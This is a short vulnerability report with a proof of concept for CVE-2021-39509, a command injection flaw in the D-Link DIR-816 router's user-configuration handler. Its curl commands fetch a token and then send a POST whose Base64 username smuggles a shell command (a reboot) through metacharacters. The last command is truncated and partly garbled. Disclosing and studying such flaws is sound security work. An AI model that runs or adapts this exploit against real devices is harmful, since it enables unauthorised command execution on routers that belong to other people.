Vender： D-Link

Firmware version:1.10 B05

Exploit Author: doudoudedi233@gmail.com

Vendor Homepage: http://www.dlink.com.cn/

Hardware Link:http://support.dlink.com.cn/ProductInfo.aspx?m=DIR-816

report

Describe

I found some vulnerabilities in the dir-816 750m11ac wireless router , Firmware version is DIR-816A2_FWv1.10CNB05_R1B011D88210

The HTTP request parameter is used in the handler function of /goform/form2userconfig.cgi route, which can construct the user name string to delete the user function. This can lead to command injection through shell metacharacters.

If the user can configure the router, it may cause unconditional command execution If the user can configure the router, it may cause unconditional command execution.

https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10240

POC&&EXP

First, get the tokenid

```
curl -s http://192.168.33.9/dir_login.asp  | grep tokenid
```

```
curl -i -X POST http://192.168.33.9/goform/form2userconfig.cgi  -d
"username=IjtyZWJvb3Q7Ig==&oldpass=123&newpass=MTIz&confpass=MTIz&deluser=Delete&select=s0&hiddenpass=&submit.htm%3Fuserconfig.htm=Se
id
```

It will decode our command Base64 and execute it

CVE ID

CVE-2021-39509